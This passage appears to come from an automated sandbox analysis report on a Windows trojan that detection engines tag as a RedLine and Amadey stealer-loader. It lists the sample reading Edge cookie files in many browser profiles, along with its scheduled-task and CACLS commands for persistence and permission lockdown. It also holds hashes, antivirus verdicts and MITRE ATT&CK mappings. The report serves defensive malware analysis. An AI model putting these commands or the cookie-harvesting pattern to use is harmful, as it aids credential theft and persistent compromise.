"C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 20\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 21\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 22\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 23\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 24\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 25\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 26\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 27\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 28\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 29\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 30\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 31\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 32\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 33\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 34\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 35\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 36\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 37\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 38\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 39\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 40\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 41\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 42\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 43\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 44\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 45\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 46\NETWORK\COOKIES"59:T58e,Spawned process ".exe" (UID: 00000000-00006580) Spawned process "oldplayer.exe" (UID: 00000000-00006156) Spawned process "ss41.exe" (UID: 00000000-00006112) Spawned process "oneetx.exe" (UID: 00000000-00000932) Spawned process "schtasks.exe" with commandline "/Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "%TEMP%\\207aa4515d\\oneetx.exe" /F" (UID: 00000000-00002028) Spawned process "cmd.exe" with commandline "/k echo Y|CACLS "oneetx.exe" /P "idMumCb:N"&&CACLS "oneetx.exe" /P "idMumCb:R" /E&&echo Y|CACLS "..\\207aa4515d" /P "idMumCb:N"&&CACLS "..\\207aa4515d" /P "idMumCb:R" /E&&Exit" (UID: 00000000-00002788) Spawned process "cmd.exe" with commandline "%WINDIR%\\system32\\cmd.exe /S /D /c" echo Y"" (UID: 00000000-00002528) Spawned process "cacls.exe" with commandline "CACLS "oneetx.exe" /P "idMumCb:N"" (UID: 00000000-00007052) Spawned process "cacls.exe" with commandline "CACLS "oneetx.exe" /P "idMumCb:R" /E" (UID: 00000000-00003812) Spawned process "cmd.exe" with commandline "%WINDIR%\\system32\\cmd.exe /S /D /c" echo Y"" (UID: 00000000-00007128) Spawned process "cacls.exe" with commandline "CACLS "..\\207aa4515d" /P "idMumCb:N"" (UID: 00000000-00006044) Spawned process "cacls.exe" with commandline "CACLS "..\\207aa4515d" /P "idMumCb:R" /E" (UID: 00000000-00003520) Spawned process "oneetx.exe" (UID: 00000000-00005192) Spawned process "oneetx.exe" (UID: 00000000-00007488)1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"82ecd2b864229b43116466944478c474ac7ff2e8a0dd4f24df59d325953c2b30","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790607457708,"unified_at":"2026-09-28T14:57:37.708Z","metadata":{"hashes":{"sha256":"82ecd2b864229b43116466944478c474ac7ff2e8a0dd4f24df59d325953c2b30","sha1":"e5ade0031e4f6b4a67189010dcb1fc015a7ad5ef","md5":"98628dba1be12d83b13f1b2bd25d85b6","sha512":"789c5111f2c00caf2e10faa49834766d8731fc7d0efdbfeccdae1ac11180680f001e3254ac0b6fc4bf69449c1d61761a7990fce907605969a093408a668886f1","ssdeep":"24576:TdO/YtNyqi2tAlwYZAVBHPXvkUNF3PEjVwaxG:gkNA2aW8ADP/1fiVwaxG","ssdeep_chunks":["24576:TdO/YtN","24576:dO/YtNy","24576:O/YtNyq","24576:/YtNyqi","24576:YtNyqi2","24576:tNyqi2t","24576:Nyqi2tA","24576:yqi2tAl","24576:qi2tAlw","24576:i2tAlwY","24576:2tAlwYZ","24576:tAlwYZA","24576:AlwYZAV","24576:lwYZAVB","24576:wYZAVBH","24576:YZAVBHP","24576:ZAVBHPX","24576:AVBHPXv","24576:VBHPXvk","24576:BHPXvkU","24576:HPXvkUN","24576:PXvkUNF","24576:XvkUNF3","24576:vkUNF3P","24576:kUNF3PE","24576:UNF3PEj","24576:NF3PEjV","24576:F3PEjVw","24576:3PEjVwa","24576:PEjVwax","24576:EjVwaxG","49152:TdO/YtN","49152:dO/YtNy","49152:O/YtNyq","49152:/YtNyqi","49152:YtNyqi2","49152:tNyqi2t","49152:Nyqi2tA","49152:yqi2tAl","49152:qi2tAlw","49152:i2tAlwY","49152:2tAlwYZ","49152:tAlwYZA","49152:AlwYZAV","49152:lwYZAVB","49152:wYZAVBH","49152:YZAVBHP","49152:ZAVBHPX","49152:AVBHPXv","49152:VBHPXvk","49152:BHPXvkU","49152:HPXvkUN","49152:PXvkUNF","49152:XvkUNF3","49152:vkUNF3P","49152:kUNF3PE","49152:UNF3PEj","49152:NF3PEjV","49152:F3PEjVw","49152:3PEjVwa","49152:PEjVwax","49152:EjVwaxG","24576:gkNA2aW","24576:kNA2aW8","24576:NA2aW8A","24576:A2aW8AD","24576:2aW8ADP","24576:aW8ADP/","24576:W8ADP/1","24576:8ADP/1f","24576:ADP/1fi","24576:DP/1fiV","24576:P/1fiVw","24576:/1fiVwa","24576:1fiVwax","24576:fiVwaxG"],"imphash":"a9c887a4f18a3fede2cc29ceea138ed3"},"file_info":{"file_name":"82ecd.Trojan.exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":940544,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1693583109000,"last_seen":1693612974000,"last_multi_scan":1693612974000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["amadeyloader","backdoor","commodity","criminal","downloader","informationstealer","loader","redlinestealer","smokeloader"]},"stats":{"av":{"malicious_count":14,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":66},"sandbox_signatures":{"informative_count":170,"suspicious_count":19,"malicious_count":12,"total":201},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/Dropper.Gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.FakeAlert.2","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cylance":{"name":"Cylance","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Variant.FakeAlert.2 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win32/TrojanDropper.Agent.SRP trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"TrojanDropper/Agent.kl","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 005a7a3c1 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"HEUR:Trojan-Spy.Win32.Stealer.gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"GenericRXTU-AS!98628DBA1BE1","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"malicious","threat_name":"Confidence_98","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/Lazy.U.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"BScope.Trojan.Nitol","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"FakeAlert.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Imports GetCommandLine API"},{"type":"malicious","value":"Contains native function calls"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to execute an application (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Execution","technique":"Component Object Model","attack_id":"T1559.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1559/001","identifiers":[{"type":"malicious","value":"Loads the task scheduler COM API"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Execution","technique":"Scheduled Task/Job","attack_id":"T1053","attack_id_wiki":"https://attack.mitre.org/techniques/T1053","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"The analysis spawned a process that was identified as malicious"},{"type":"malicious","value":"The analysis extracted a file that was identified as malicious"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Execution","technique":"Scheduled Task","attack_id":"T1053.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1053/005","identifiers":[{"type":"malicious","value":"Schedules a task to be executed at a specific time and date"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Executes echo command"},{"type":"informative","value":"Runs shell commands"},{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to access device drivers"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"informative","value":"Modifies user shell folders registry key"},{"type":"informative","value":"References user shell folders registry key string"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"},{"type":"informative","value":"Contains ability to modify process memory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"informative","value":"Contains ability to inject code into another process (API string)"},{"type":"informative","value":"Found PE header in memory"},{"type":"malicious","value":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Privilege Escalation","technique":"Process Hollowing","attack_id":"T1055.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/012","identifiers":[{"type":"informative","value":"Contains ability to unmap view of a section from a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Imports system security related APIs"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"},{"type":"informative","value":"Contains ability to check debugger is running (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"suspicious","value":"Dropped file has high entropy (likely encrypted/compressed content)"},{"type":"suspicious","value":"Timestamp in PE header is very old or in the future"},{"type":"suspicious","value":"CRC value set in PE header does not match actual value"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"PE file contains zero-size sections"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"YARA signature match - AES Encryption"},{"type":"informative","value":"Shows ability to obfuscate file or information"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay the execution of current thread"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Defense Evasion","technique":"Windows File and Directory Permissions Modification","attack_id":"T1222.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1222/001","identifiers":[{"type":"malicious","value":"Modifies the access control lists of files"},{"type":"informative","value":"Modifies file/folder permission using cacls"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"suspicious","value":"Contains ability to remove directories"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Contains reference to method used by Windows shell items (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Contains ability to query local/system time as file time"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"},{"type":"suspicious","value":"PE file has unusual entropy sections"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Makes a code branch decision directly after an API that is environment aware"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Found Base64 decoding crypto library string in memory"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"suspicious","value":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Contains ability to enumerates all mounted drives"},{"type":"informative","value":"Contains ability to enumerate files inside a directory"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Contains registry location strings"},{"type":"suspicious","value":"Checks warning level of secure to non-secure traffic redirection"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Contains ability to query registry keys (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Discovery","technique":"Process 